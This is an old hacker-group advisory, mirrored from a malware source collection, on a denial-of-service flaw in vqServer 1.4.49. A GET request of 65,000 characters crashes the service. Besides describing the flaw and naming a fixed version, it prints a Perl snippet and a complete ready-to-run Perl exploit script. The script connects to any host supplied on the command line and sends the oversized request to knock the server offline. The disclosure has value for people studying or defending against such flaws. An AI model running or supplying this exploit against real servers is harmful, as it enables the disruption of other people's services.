mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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71 lines
2.2 KiB
Plaintext
71 lines
2.2 KiB
Plaintext
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DHC Advisory
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Advisory for vqServer 1.4.49
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vqServer is made by vqSoft. Site: http://www.vqsoft.com
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by nemesystm of the DHC
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(http://dhcorp.cjb.net - auto45040@hushmail.com)
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/-|=[explaination]=|-\
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When sending vqServer version 1.4.49 a malformed URL request it will crash
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the service. This has been verified to work on the Windows version, but
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it probably is in the linux/unix version and prior versions too.
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/-|=[testing it]=|-\
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To test this vulnerability, send a GET request with 65000 characters.
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So:
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GET /AAA (hit return =)
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Where AAA = 65000, seeing as Internet Explorer, nor Netscape lets you paste
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that much characters in their browser fields (www.server.com/AAA) you will
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have to use something like Telnet.
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You can easily program something to print 65000 chars in Perl:
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open (OUT, ">$ARGV[0]");
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print OUT ("GET /");
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print OUT ("A" x 65000);
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then it's just a cut and paste.
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Or you can use the example code below
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/-|=[fix]=|-\
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the latest edition of vqServer (1.9.47) is unaffected by this. It is available
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for download at www.vqsoft.com
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/-|=[notes]=|-\
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PUT, POST and the Administration port do not seem to be affected by a high
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amount of characters. The Windows version needed a reinstall every five
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or so crashes. A reboot or total shutdown did not help.
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/-|=[exploit code]=|-\
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sinfony quickly wrote some code so you can see if you're vulnerable.
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# DoS exploit for vqServer 1.4.49
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# This vulnerability was discovered by nemesystm
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# (auto45040@hushmail.com)
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#
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# code by: sinfony (chinesef00d@hotmail.com)
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# [confess.sins.labs] (http://www.ro0t.nu/csl)
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# and DHC member
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#
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# kiddie quote of the year:
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# <gammbitr> dude piffy stfu i bet you don't even know how to exploit it
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die "vqServer 1.4.49 DoS by sinfony (chinesef00d\@hotmail.com)\n
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usage: $0 <host> \n"
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if $#ARGV != 0;
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use IO::Socket;
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$host = $ARGV[0];
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$port = 80;
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print "Connecting to $host on port $port...\n";
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$suck = IO::Socket::INET->
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new(Proto=>"tcp",
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PeerAddr=>$host,
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PeerPort=>$port)
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|| die "$host isnt a webserver you schmuck.\n";
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$a = A;
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$send = $a x 65000;
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print "Connected, sending exploit.\n";
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print $suck "GET /$send\n";
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sleep(3);
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print "Exploit sent. vqServer should be dead.\n";
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close($suck)
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